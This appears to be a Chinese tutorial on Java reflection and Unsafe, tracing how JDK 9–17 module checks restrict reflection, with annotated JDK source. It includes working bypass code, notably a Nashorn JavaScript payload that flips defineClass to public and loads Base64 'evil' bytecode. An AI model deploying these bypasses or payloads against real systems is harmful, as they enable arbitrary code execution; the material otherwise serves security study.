public T newInstance(Object... initargs) throws InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException

例如:

1
2
3
4
5
6
7
// 无参构造
T obj = clazz.getDeclaredConstructor().newInstance();

// 指定参数的构造
Constructor<T> c = clazz.getDeclaredConstructor(String.class, int.class);
c.setAccessible(true); // 访问非 public 构造时需要
T obj2 = c.newInstance("Alice", 18);

Unsafe 类

sun.misc.Unsafe 是 Java 中一个极为强大且危险的类。它提供了对底层内存和线程操作的直接访问能力,允许开发者绕过 Java 的安全机制、访问底层内存、进行 CAS 操作、创建对象、操作字段等。这种能力虽然强大,但使用不当极容易导致内存泄漏、程序崩溃、数据不一致,甚至破坏 JVM 的稳定性。

提示

Unsafe 类主要是通过 JVM 内部的 native(本地方法) 来实现的上述功能,并没有用到反射技术。但是这个类在操作类的方面与反射功能上有重合之处,并且可以帮助反射绕过一些高版本 JDK 的限制,因此放在这里介绍并且只介绍与字段操作有关的内容。

获取 Unsafe 实例

Unsafe 的构造器是私有的,且 theUnsafe 字段是私有的,需要通过反射获取。

1
2
3
4
5
6
7
8
9
import sun.misc.Unsafe;
import java.lang.reflect.Field;


public static Unsafe getUnsafe() throws Exception {
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
return (Unsafe) field.get(null);
}

注意

从 Java 9 开始,Unsafe 受到更严格的模块限制,需添加启动参数:

1
--add-opens java.base/sun.misc=ALL-UNNAMED

获取字段的偏移量

由于 Unsafe 是在内存层面对象的字段,因此 Unsafe 在操作指定字段之前需要先获取字段的偏移量。Unsafe 提供了两种方法来分别获取获取普通对象和静态字段的偏移量:

  • objectFieldOffset(Field field) :用于获取普通对象字段的偏移量。
  • staticFieldOffset(Field field) :用于获取静态字段的偏移量。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 获取 Unsafe 实例
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

// 普通字段
Field ageField = User.class.getDeclaredField("age");
long ageOffset = unsafe.objectFieldOffset(ageField);
System.out.println("Age Offset: " + ageOffset);

// 静态字段
Field nameField = User.class.getDeclaredField("name");
long nameOffset = unsafe.staticFieldOffset(nameField);
System.out.println("Name Offset: " + nameOffset);

获取字段的内存偏移量需要我们反射获取字段对应 Field 对象,这也意味着如果我们能够获取到字段对应的 Field 对象那么我们就可以绕过反射的所有限制。因此高版本反射绕过本质上就是围绕如何获取 Field 对象展开的。

由于我们获取 Field 对象本身是为了获取字段的内存偏移量,因此其中一个绕过方法就是通过用 Unsafe#defineAnonymousClass(host, bytes, null),喂入原始字节码得到一个 匿名副本类。它和原类的字段布局完全一致(字节码一样 → 静态字段位置相同),但不是黑名单里的本体,因此可以自由反射获取字段。

1
2
3
4
Class<?> reflectionClass = Class.forName("jdk.internal.reflect.Reflection");
byte[] bytes = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
Class<?> reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, bytes, null);
Field fieldFilterMap = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");

虽然获取的字段不是原始类的字段,但是我们可以通过这个字段获取到字段的正确偏移,从而通过 Unsafe 修改原始类中对应的字段。

1
2
long offset = unsafe.staticFieldOffset(fieldFilterMap);
unsafe.putObject(reflectionClass, offset, new HashMap<>()); // 把原类的 fieldFilterMap 改成空表

提示

这种通过 Unsafe#defineAnonymousClass 创建匿名副本类的方法在高版本 JDK 失效。

  • 虽然 JDK11 把 Unsafe#defineClass 移除了,但 Unsafe#defineAnonymousClass 还在。
  • Unsafe#defineAnonymousClass 在后续的 JDK 版本中被逐步移除:
    • JDK 15defineAnonymousClass 方法被弃用,并标记为将在未来版本中移除。
    • JDK 16 :该方法被进一步标记为“将来移除”。
    • JDK 17defineAnonymousClass 方法被正式移除。

另外如果我们能获取到字段对应的 Field 对象,那么我们同样也可以借助修改 final 变量的思路达到相同效果。

对象字段的读写

Unsafe 提供了多种字段操作方法,涵盖所有 Java 基础类型和对象类型:

方法 说明
getObject(Object obj, long offset) 读取对象类型字段
getInt(Object obj, long offset) 读取 int 类型字段
getLong(Object obj, long offset) 读取 long 类型字段
getDouble(Object obj, long offset) 读取 double 类型字段
getFloat(Object obj, long offset) 读取 float 类型字段
getBoolean(Object obj, long offset) 读取 boolean 类型字段
getByte(Object obj, long offset) 读取 byte 类型字段
getShort(Object obj, long offset) 读取 short 类型字段
getChar(Object obj, long offset) 读取 char 类型字段
putObject(Object obj, long offset, Object value) 写入对象类型字段
putInt(Object obj, long offset, int value) 写入 int 类型字段
putLong(Object obj, long offset, long value) 写入 long 类型字段
putDouble(Object obj, long offset, double value) 写入 double 类型字段
putFloat(Object obj, long offset, float value) 写入 float 类型字段
putBoolean(Object obj, long offset, boolean value) 写入 boolean 类型字段
putByte(Object obj, long offset, byte value) 写入 byte 类型字段
putShort(Object obj, long offset, short value) 写入 short 类型字段
putChar(Object obj, long offset, char value) 写入 char 类型字段

这些方法的使用示例如下:

1
2
3
4
5
unsafe.putInt(user, offset, 30);
int age = unsafe.getInt(user, offset);

unsafe.putObject(user, offset, "Bob");
Object name = unsafe.getObject(user, offset);

在读写字段的时候我们需要向方法中传入字段所在的对象引用。对于于静态字段,静态字段存储在类的元数据区域(即方法区元空间)中,而不是某个对象实例中,但 Unsafe 操作时,仍然要求传入“对象引用”,这个引用其实是类的内部静态基地址。这个地址可以通过 Unsafe.staticFieldBase(Field field) 方法获取。

1
2
3
4
5
Object staticBase = unsafe.staticFieldBase(field);
long staticOffset = unsafe.staticFieldOffset(field);

unsafe.putObject(staticBase, staticOffset, "NewValue");
Object value = unsafe.getObject(staticBase, staticOffset);

对于数组类型的对象,如果我们要修改其中的成员还需要先调用 arrayBaseOffsetarrayIndexScale 方法分别获取数组起始的偏移量和元素大小。然后根据这些信息计算要修改的数组成员的偏移量。

1
2
3
4
5
6
7
8
9
10
11
int[] data = {10, 20, 30};

Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

int baseOffset = unsafe.arrayBaseOffset(data.getClass()); // 数组起始偏移量
int indexScale = unsafe.arrayIndexScale(data.getClass()); // 元素大小
long offset = baseOffset + indexScale * 1;
unsafe.putInt(data, offset, 100); // 更新数组第二个元素
int value = unsafe.getInt(data, offset); // 读取

高版本 JDK 反射绕过

高版本 JDK 对于反射的限制主要有以下两个方面:

  • 限制 setAccessible 导致无法操作获取的被反射对象的成员。
  • 过滤 getDeclaredFields 获取的字段导致部分字段无法通过反射获取。

反射的限制以及绕过方法之间的关系如下:

Reflection_bypass

getDeclaredMethod 获取 getDeclaredFields0setAccessible(true)()

9≤JDK<12 (setAccessible)

JDK9 开始针对 checkCanSetAccessible 出现一些限制。

模块化系统

从 JDK9 开始 Java 引入了模块化系统(Project Jigsaw)的概念。

模块化系统(Project Jigsaw)是 Java 平台的重要特性之一,旨在改善大型 Java 应用程序的可维护性、可扩展性、性能和安全性。模块化系统将 JDK 本身分解为多个模块,并为开发者提供了一种新的方式来组织、打包和管理 Java 应用。

模块是通过 module-info.java 文件进行声明的,它包含以下几个主要内容:

  • 模块名称 :模块的唯一标识。
  • 导出包(exports) :指定哪些包对外部可见。只有通过 exports 声明的包才能被其他模块访问。
  • 需要的模块(requires) :声明当前模块依赖的其他模块。如果当前模块依赖某个模块,它就可以访问该模块公开的 exports 包。
  • 开放包(opens) :与 exports 类似,但允许通过反射机制访问包中的类和成员。

module-info.java 示例

1
2
3
4
5
module com.example.myapp {
exports com.example.myapp.api; // 导出 com.example.myapp.api 包
requires java.sql; // 依赖 java.sql 模块
opens com.example.myapp.internal; // 允许通过反射访问内部包
}

模块声明一般位于每个模块的根目录下,并且必须命名为 module-info.java

模块化系统这一机制在一定程度上限制了我们反射操作对象的属性。

限制条件分析

我们在 JDK9 版本通过反射调用 java.lang.Runtime 的私有构造函数时依然可以成功调用,但是会出现如下警告:

1
2
3
4
5
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by com.example.Main (file:/path/to/classes/) to constructor java.lang.Runtime()
WARNING: Please consider reporting this to the maintainers of com.example.Main
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

因为 JDK 9 引入 JPMS(模块化系统)后,出于“平滑迁移”的考虑,默认启用了“放宽的强封装”
启动器选项 --illegal-access 的默认值是 **permit**。在这个模式下:

  • 对“类路径”(unnamed module)上的代码,JVM 会把 JDK 8 中就存在的所有包(例如 java.base/java.lang)临时“打开”给深反射使用,所以你对 java.lang.Runtime私有构造器仍然能成功调用;
  • 但这是非法的深反射,因此只在第一次触发时打印一组警告(你看到的那几行),并提示可以用 --illegal-access=warn 对每一次非法访问都报警。

JEP 261 对该行为写得很清楚:

  • --illegal-access=permitJDK 9 默认)= 允许类路径代码对 JDK 8 时代的包做深反射,并只打印一次总警告;
  • --illegal-access=warn/debug = 每次都警告(debug 还带堆栈);
  • --illegal-access=deny = 禁用所有非法访问(除非你显式用 --add-opens 放开)。

这也解释了“为什么能成功但有警告”:成功是因为 JDK 9 的默认宽松策略在“给你开小灶”,警告是在提醒你这种访问将来会被拒绝

然而通过 JS 引擎动态加载字节码则会有如下报错,这个报错是因为 java.base 模块并没有开放 java.lang 包给 jdk.scripting.nashorn.scripts 模块。也就是说 JDK9 引入了的模块化系统阻止了这一操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to module jdk.scripting.nashorn.scripts
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:337)
at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:281)
at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:198)
at java.base/java.lang.reflect.Method.setAccessible(Method.java:192)
at jdk.scripting.nashorn.scripts/jdk.nashorn.internal.scripts.Script$Recompilation$8$\^eval\_$cu1$restOf.:program(<eval>:1)
at jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunctionData.invoke(ScriptFunctionData.java:652)
at jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptFunction.invoke(ScriptFunction.java:513)
at jdk.scripting.nashorn/jdk.nashorn.internal.runtime.ScriptRuntime.apply(ScriptRuntime.java:517)
at jdk.scripting.nashorn/jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl(NashornScriptEngine.java:448)
at jdk.scripting.nashorn/jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl(NashornScriptEngine.java:405)
at jdk.scripting.nashorn/jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl(NashornScriptEngine.java:401)
at jdk.scripting.nashorn/jdk.nashorn.api.scripting.NashornScriptEngine.eval(NashornScriptEngine.java:154)
at java.scripting/javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:264)
at com.example.Main.main(Main.java:69)

具体分析报错信息可以看到,抛出 InaccessibleObjectException 异常的位置是 java.lang.reflect.AccessibleObjectcheckCanSetAccessible 函数。并且触发异常的用户代码是 setAccessible 方法的调用。

因为 --illegal-access=permit 的“迁移豁免”只对类路径上的代码”(也就是Unnamed Module生效。而 Nashorn 把脚本类放进了名为 jdk.scripting.nashorn.scripts动态“命名”模块 ⇒ 不在豁免范围内 ⇒ 被 JPMS 的强封装直接拒绝

Method/Constructor(经 Executable)与 Field 都继承自 AccessibleObject。当我们试图通过 setAccessible(true)trySetAccessible() 放开访问限制时,JDK 会调用 AccessibleObject#checkCanSetAccessible 按模块导出/开放策略做权限判定;判定通过才允许后续的反射调用或取值。

AccessibleObject

setAccessible(true) 时,JDK 会调用 checkCanSetAccessible 来判定调用者是否被允许为该反射对象打开越权访问:

  • caller:由 Reflection.getCallerClass() 得到的调用 setAccessible 的类

  • declaringClass声明该成员的类Field/Method/ConstructorgetDeclaringClass())。注意它可能是父类而非你当前拿到的运行时类。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    /**
    * 返回声明了此方法的类或接口对应的 Class 对象。
    * 换言之,即使你是从子类上拿到这个 Method,只要该方法是从父类或接口继承而来,
    * 这里返回的仍然是最初声明该方法的那个类或接口的 Class。
    */
    @Override
    public Class<?> getDeclaringClass() {
    return clazz; // 持有的“声明者”Class 引用
    }

    判定依据包括安全管理器权限(如启用)与 JPMS 模块封装/opens/--add-opens 规则;不满足将抛 InaccessibleObjectException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
/**
* 将当前反射对象({@link java.lang.reflect.Field Field} /
* {@link java.lang.reflect.Method Method} /
* {@link java.lang.reflect.Constructor Constructor})
* 的“可访问”标志设置为给定值,用以控制后续反射是否<strong>绕过 Java 语言级别的可见性检查</strong>
*(private/protected/包可见等)。
*
* <p>此方法只影响<strong>当前这个反射对象实例</strong>的访问路径,
* 并不会改变成员在字节码中的可见性,也不会影响到其他反射对象。</p>
*
* @param flag 当为 {@code true} 时,尝试允许通过本反射对象跳过语言级访问检查;
* 当为 {@code false} 时,恢复为正常的语言级访问检查。
*
* @throws InaccessibleObjectException
* 当当前运行环境依据 JPMS(模块化系统)强封装策略判定
* <em>不允许</em>为该成员开启越权访问时抛出(例如目标包未
* {@code opens} 给调用者模块,也未通过命令行 {@code --add-opens} 显式放开)。
* @throws SecurityException
* 若启用了安全管理器且调用方未被授予
* {@code ReflectPermission("suppressAccessChecks")} 权限时抛出。
*
* @apiNote
* - 自 Java 9 起,是否允许“开盖”不仅取决于语言可见性,还受模块封装约束:
* <em>公开访问</em>依赖 {@code exports},<em>深反射</em>依赖 {@code opens}。
* 典型失败场景需通过 {@code --add-opens <module>/<pkg>=<target>} 或在
* {@code module-info.java} 中 {@code opens} 予以放开。
* - 对应的“无异常版本”是 {@link #trySetAccessible()}:当被拒绝时返回 {@code false} 而非抛异常。
*
* @implNote
* 本方法带有 {@link CallerSensitive @CallerSensitive} 标记,
* 安全与封装判定以<strong>直接调用者</strong>为主体。
* 调用路径中的主体由 {@code Reflection.getCallerClass()} 获取。
*
* @see #trySetAccessible()
* @see #setAccessible(java.lang.reflect.AccessibleObject[], boolean)
* @see java.lang.RuntimePermission
* @see java.lang.reflect.ReflectPermission
*/
@Override
@CallerSensitive
public void setAccessible(boolean flag) {
// 1) 安全管理器权限检查(若启用)。需要 ReflectPermission("suppressAccessChecks")
AccessibleObject.checkPermission();

// 2) 只有在要“打开可访问”时才进行深入的模块/封装规则校验;
// 关闭(flag == false)属于收紧权限,无需额外许可。
if (flag) checkCanSetAccessible(Reflection.getCallerClass());

// 3) 底层落地:把“可访问”标志写到本反射对象(通常是 native 层的 override 位)。
// 一旦置 true,通过该对象进行的后续访问将跳过语言级别检查。
setAccessible0(flag);
}


/**
* 便捷重载:以当前反射对象持有的“声明类”作为判定目标,
* 检查给定 {@code caller} 是否允许为本反射对象开启越权访问。
* 等价于 {@code checkCanSetAccessible(caller, this.getDeclaringClass(), true)}。
*
* @param caller 直接调用 {@code setAccessible/trySetAccessible} 的类
* @throws InaccessibleObjectException 当判定不通过时抛出
*/
@Override
void checkCanSetAccessible(Class<?> caller) {
// 子类(Field/Method/Constructor)内部通常以 clazz/declaringClass 保存声明类引用
checkCanSetAccessible(caller, clazz);
}


/**
* 便捷重载:等价于
* {@code checkCanSetAccessible(caller, declaringClass, true)}。
* 当判定被拒绝时将抛出 {@link InaccessibleObjectException}。
*
* @param caller 直接调用者
* @param declaringClass 成员的声明类
* @throws InaccessibleObjectException 当判定不通过时抛出
*/
void checkCanSetAccessible(Class<?> caller, Class<?> declaringClass) {
// 实际判定委托给带第三参数(是否抛异常)的重载
checkCanSetAccessible(caller, declaringClass, true);
}

最终的核心函数 AccessibleObject#checkCanSetAccessible 用于检测成员是否可以被设置为可访问。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
/**
* 判定调用方是否被允许为“当前反射对象”(Field/Method/Constructor)开启越权访问
*(即允许后续通过该反射对象跳过语言级别的可见性检查)。
*
* <p><b>判定依据(按优先级)</b>:
* <ul>
* <li>调用者模块与声明类模块是否相同(同模块放行);</li>
* <li>调用者是否为 {@code java.base}(JDK 内部可信调用方放行);</li>
* <li>声明类是否处于未命名模块(classpath 兼容放行);</li>
* <li>若声明类为 public 且其包对调用者模块已 {@code exports}:
* <ul>
* <li>成员为 public → 放行;</li>
* <li>成员为 protected 且 static,且调用者是声明类的子类 → 放行。</li>
* </ul>
* </li>
* <li>若包对调用者模块已 {@code opens}(深反射)→ 放行;</li>
* <li>否则拒绝。</li>
* </ul>
*
* <p>注意:本方法<strong>仅做权限检查与必要的日志</strong>,不改变实际可访问标志;
* 真正的开关由后续的底层调用(例如 {@code setAccessible0(boolean)})完成。</p>
*
* @param caller 直接调用 {@code setAccessible/trySetAccessible} 的类(调用者)
* @param declaringClass 声明该成员的类(可能是父类/接口)
* @param throwExceptionIfDenied 为 {@code true} 时,拒绝将抛出
* {@link InaccessibleObjectException};为 {@code false} 时返回 {@code false}
* @return 允许开盖则返回 {@code true};在 {@code throwExceptionIfDenied == false} 且被拒绝时返回 {@code false}
* @throws InaccessibleObjectException 当被拒绝且 {@code throwExceptionIfDenied} 为 {@code true} 时抛出
* @throws SecurityException 若上层安全检查(如 SecurityManager)未通过(通常在更外层触发)
*/
private boolean checkCanSetAccessible(Class<?> caller,
Class<?> declaringClass,
boolean throwExceptionIfDenied) {
// 取得“调用者所在模块”和“目标成员的声明类所在模块”
Module callerModule = caller.getModule();
Module declaringModule = declaringClass.getModule();

// 1) 同模块:调用者与目标在同一模块 → 放行
if (callerModule == declaringModule) return true;

// 2) JDK 自身(java.base)作为调用者 → 放行(可信调用者,库内部需要)
if (callerModule == Object.class.getModule()) return true;

// 3) 目标类在“未命名模块”(classpath) → 放行(历史兼容)
if (!declaringModule.isNamed()) return true;

// 目标包名
String pn = declaringClass.getPackageName();

// 取成员修饰符(Field 或 Executable(Method/Constructor))
int modifiers;
if (this instanceof Executable) {
modifiers = ((Executable) this).getModifiers();
} else {
modifiers = ((Field) this).getModifiers();
}

// 4) 若声明类是 public 且其包已对 callerModule 做了 exports(编译/运行期可读)
boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());
if (isClassPublic && declaringModule.isExported(pn, callerModule)) {
// 4a) 成员是 public → 放行(无需 deep-open)
if (Modifier.isPublic(modifiers)) {
logIfExportedForIllegalAccess(caller, declaringClass);
return true;
}
// 4b) 成员是 protected 且 static,且 caller 是声明类的子类 → 放行
if (Modifier.isProtected(modifiers)
&& Modifier.isStatic(modifiers)
&& isSubclassOf(caller, declaringClass)) {
logIfExportedForIllegalAccess(caller, declaringClass);
return true;
}
}

// 5) 若目标包对 callerModule 做了 opens(允许深反射访问所有成员)→ 放行
if (declaringModule.isOpen(pn, callerModule)) {
logIfOpenedForIllegalAccess(caller, declaringClass);
return true;
}

// 6) 其余情况:不允许。
// 若要求抛异常(通常对应 setAccessible/失败要抛)→ 构造并抛出 InaccessibleObjectException;
// 否则(通常对应 trySetAccessible)→ 返回 false。
if (throwExceptionIfDenied) {
String msg = "Unable to make ";
if (this instanceof Field) msg += "field ";
msg += this + " accessible: " + declaringModule + " does not \"";
// public 类 + public 成员缺少的是 exports;否则缺少的是 opens
if (isClassPublic && Modifier.isPublic(modifiers))
msg += "exports";
else
msg += "opens";
msg += " " + pn + "\" to " + callerModule;

InaccessibleObjectException e = new InaccessibleObjectException(msg);
if (printStackTraceWhenAccessFails()) {
e.printStackTrace(System.err);
}
throw e;
}
return false;
}

/**
* 如果“当前模块”的某个包已对“给定模块”至少以『打开(open)』的方式暴露,
* 则返回 {@code true}。
*
* <p> 说明:
* <ul>
* <li>若用于检测“包是否对自身开放”,则返回 {@code true}。</li>
* <li>若当前模块是 {@link ModuleDescriptor#isOpen open} 模块,并且该包属于当前模块,
* 则返回 {@code true}(open 模块 = 模块内所有包均处于 open 状态)。</li>
* <li>若当前模块是『未命名模块』(classpath 上的默认模块),则总是返回 {@code true}。</li>
* </ul>
*
* <p>注意:本方法<strong>不检查</strong>给定模块是否“读取(reads)”当前模块。</p>
*
* @param pn 包名
* @param other 另一个模块(调用方模块)
* @return 若当前模块已将该包『打开』给至少这个模块,则返回 {@code true}
*
* @see ModuleDescriptor#opens()
* @see #addOpens(String, Module)
* @see AccessibleObject#setAccessible(boolean)
* @see java.lang.invoke.MethodHandles#privateLookupIn
*/
public boolean isOpen(String pn, Module other) {
Objects.requireNonNull(pn);
Objects.requireNonNull(other);
// 第三个参数 open=true —— 表示按「打开(open)」的语义来判定
return implIsExportedOrOpen(pn, other, /*open*/ true);
}

/**
* 判定“当前模块”的给定包,是否对 other 模块『导出(exports)或打开(open)』。
* 当 other 是一个“代表所有模块”的特殊哨兵(EVERYONE_MODULE)时,
* 本方法用于判断该包是否『无条件地导出/打开』。
*
* @param pn 包名
* @param other 另一个模块(或“所有模块”哨兵)
* @param open 为 true 表示按『open』语义判断;为 false 表示按『exports』语义判断
*/
private boolean implIsExportedOrOpen(String pn, Module other, boolean open) {
// 1) 未命名模块(classpath):其所有包都被视为 open(也等价视为已导出)
if (!isNamed())
return true;

// 2) 对自身:模块内的任意包对“自己”总是可见
if (other == this && descriptor.packages().contains(pn))
return true;

// 3) open 模块或 automatic 模块:模块内所有包都视为 open
// - open module M { ... } => 模块中所有包处于 open 状态
// - automatic module => 放在 module path 上的无 module-info 的 jar,推导为命名模块;
// 其包在反射语义上也视为 open
if (descriptor.isOpen() || descriptor.isAutomatic())
return descriptor.packages().contains(pn);

// 4) 静态声明的导出/打开:来自 module-info(exports / opens / opens ... to ...)
if (isStaticallyExportedOrOpen(pn, other, open))
return true;

// 5) 运行期追加的导出/打开:来自 addExports / addOpens / redefineModules 等动态手段
if (isReflectivelyExportedOrOpen(pn, other, open))
return true;

// 6) 均不满足:既未导出也未打开给 other
return false;
}

总的来说,调用者为了能够获取被反射类的属性访问权限,必须满足以下至少一个条件:

  1. 同一模块
    callerdeclaringClass 属于同一个模块

  2. 调用者在 java.base 模块
    caller.getModule() == Object.class.getModule()(JDK 自身代码的“可信调用者”)。

  3. 目标类处于未命名模块
    declaringClass 位于未命名模块(classpath 上的类),为历史兼容而放行。

    未命名模块就是:在 classpath 上加载的代码所在的“默认模块”。只要你没用 module-info.java、也没走 --module-path,你的类就属于某个类加载器的未命名模块(clazz.getModule().isNamed() == false)。

  4. 已导出(exports)+ 公共 / 受保护静态成员
    同时满足:

    • declaringClasspublic
    • declaringClass 所在包 已 exports 给 caller 模块
    • 成员满足其一:
      • 成员是 public
      • 成员是 protected 且 static,并且 caller declaringClass 的子类

    说明:此分支对应“公开访问路径”,本就不需要“深反射”(open)。对 public 成员,setAccessible(true) 通常是冗余的,但检查仍会放行。

  5. 已开放(opens)

    declaringClass 所在包对 caller 模块已开放(满足任意一条即可),于是可走深反射路径setAccessible(true) 可放行):

    • 模块级全开放open module <M> { ... }(模块内所有包对所有模块开放)。
    • 包级无条件开放opens <pkg>;(该包对所有模块开放)。
    • 包级定向开放opens <pkg> to <callerModule>;(该包只对指定模块开放)。
    • 自动模块(automatic module):JAR 放在 module path、无 module-info,其所有包视为 open
    • 命令行追加开放--add-opens <module>/<pkg>=<callerModule>=ALL-UNNAMED(给 classpath 代码开口)。
    • 运行时追加开放Module::addOpens(...) 或 agent 的 Instrumentation#redefineModules(...) 动态追加。
    • (仅 JDK 9–15 默认)迁移期自动开放--illegal-access=permit 下,JDK8 已存在的 JDK 包(如 java.base/java.lang)会临时 open 给 ALL-UNNAMEDcaller 在 classpath 时 isOpen(...) 判真并打印一次性告警。
      (JDK 16 默认改为强封装,JDK 17 移除该选项。)

    说明:此分支对应“深反射路径”,允许越权访问非 public 成员或绕过语言级检查。

本判定适用于 **Field / Method / Constructor**(它们同属 AccessibleObject),其中:

  • **caller**:直接调用 setAccessible/trySetAccessible 的类(由 Reflection.getCallerClass() 得到)。

  • declaringClass声明该成员的类(getDeclaringClass()),可能是父类/接口。

提示

1
2
3
4
5
// 5) 若目标包对 callerModule 做了 opens(允许深反射访问所有成员)→ 放行
if (declaringModule.isOpen(pn, callerModule)) {
logIfOpenedForIllegalAccess(caller, declaringClass);
return true;
}

最后一个条件(isOpen)能放行深反射,但只有当包已显式开放在 JDK 9–15 的兼容模式下被临时开放时才成立。

  • 前者是合法的深反射,不会产生‘Illegal reflective access’警告;
  • 后者才会触发 logIfOpenedForIllegalAccess 的一次性(或多次)警告。

自 JDK 16/17 起,这种兼容期的自动开放被关闭/失效,必须使用 opens/--add-opens 才能通过该条件。”

绕过方法

修改访问属性

在分析出过滤条件之后,我们只需要设法满足上述条件即可绕过。通常来说我们都是通过修改被反射对象来满足 checkCanSetAccessible 的条件。

还是以 JS 引擎动态加载字节码为例,这一过程中被反射类 ClassLoader 的访问属性 public,但是 defineClass 方法为私有方法因此不满足条件。

我们可以通过反射修改 defineClass 方法对应 Methodmodifiers 属性使得 defineClass 方法的访问修饰符为 public 来实现绕过。修改 modifiers 的过程既可以在 Java 代码中也可以在 JS 代码中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public static String getJsPayload(String code) throws Exception {
return "var data = '" + code + "';" +
"var bytes = java.util.Base64.getDecoder().decode(data);" +
"var Unsafe = Java.type(\"sun.misc.Unsafe\");" +
"var field = Unsafe.class.getDeclaredField(\"theUnsafe\");" +
"field.setAccessible(true);" +
"var unsafe = field.get(null);" +
"var Modifier = Java.type(\"java.lang.reflect.Modifier\");" +
"var byteArray = Java.type(\"byte[]\");" +
"var int = Java.type(\"int\");" +
"var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(" +
"\"defineClass\",byteArray.class,int.class,int.class);" +
"var modifiers = defineClassMethod.getClass().getDeclaredField(\"modifiers\");" +
"unsafe.putShort(defineClassMethod, unsafe.objectFieldOffset(modifiers), Modifier.PUBLIC);" +
"var cc = defineClassMethod.invoke(" +
"java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length);" +
"cc.newInstance();";
}

ScriptEngineManager manager = new ScriptEngineManager();
manager.getEngineByName("js").eval(getJsPayload(Base64.getEncoder().encodeToString(getEvilClass("calc"))));

12≤JDK<17 (getDeclaredField)

JDK12 起针对 getDeclaredField 的限制增多,一些字段对应的 Field 对象无法获取。

限制条件分析

jdk.internal.reflect.Reflection 中的 fieldFilterMap 用于存储需要被过滤的 Field,所有添加到这个 Map 的字段都不能通过反射获取。

在 JDK11 中,这个字段仅对很少一部分类的个别字段做了限制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/**
* 反射工具类:为 {@code java.lang} 与 {@code java.lang.reflect} 提供若干公共的内部辅助能力。
*
* <p><b>为什么要过滤这些成员?</b>
* 这些字段包含敏感状态或 VM 内部对象引用。如果对外暴露,可能被第三方代码通过反射
* 读取/修改,从而绕过安全检查或破坏封装(比如篡改过滤表本身、探知/替换类加载器、
* 直连全局安全管理器等)。因此在对外返回反射结果前,需要屏蔽这些成员。</p>
*
* <p>实现上采用写时复制(copy-on-write):读取高频、更新极少,通过替换整张 Map
* 引用({@code volatile})来发布新快照,避免读路径加锁。</p>
*/
public class Reflection {

private static volatile Map<Class<?>, String[]> fieldFilterMap;
private static volatile Map<Class<?>, String[]> methodFilterMap;

static {
Map<Class<?>, String[]> map = new HashMap<>();

// ① Reflection 自身的内部表:防止“反射自举攻击”
// - fieldFilterMap / methodFilterMap 是反射层用来屏蔽敏感成员的“黑名单”。
// - 若不屏蔽这两个字段,外部代码可能通过反射直接读取/修改它们,
// 从而关闭/篡改过滤机制本身(例如把某些敏感字段从黑名单里移除)。
map.put(Reflection.class, new String[] { "fieldFilterMap", "methodFilterMap" });

// ② System.security:历史上的全局 SecurityManager 引用(敏感入口)
// - 直接暴露可能被用来探知或替换安全管理器对象,绕过
// System.setSecurityManager 的权限审计路径(虽然后续版本已逐步废弃 SM)。
// - 屏蔽该字段可减少依赖实现细节的安全绕过面。
map.put(System.class, new String[] { "security" });

// ③ Class.classLoader:定义该类的类加载器(高敏感对象)
// - 类加载器掌握代码与资源的加载边界;若可被随意获取/替换,可能被用于
// 未授权的类定义、资源探测或沙箱逃逸。
// - JDK 对 Class#getClassLoader() 有一套受控访问与安全检查,
// 屏蔽底层字段可避免通过“直接反射字段”绕过这些检查。
map.put(Class.class, new String[] { "classLoader" });

// 发布字段过滤规则快照
fieldFilterMap = map;

// 方法过滤表当前为空;预留将来对敏感方法名进行屏蔽的能力
methodFilterMap = new HashMap<>();
}
}

但在 JDK12 中,限制变多了,其中 Field 的所有成员成员都被限制为不可通过反射获取。

1
2
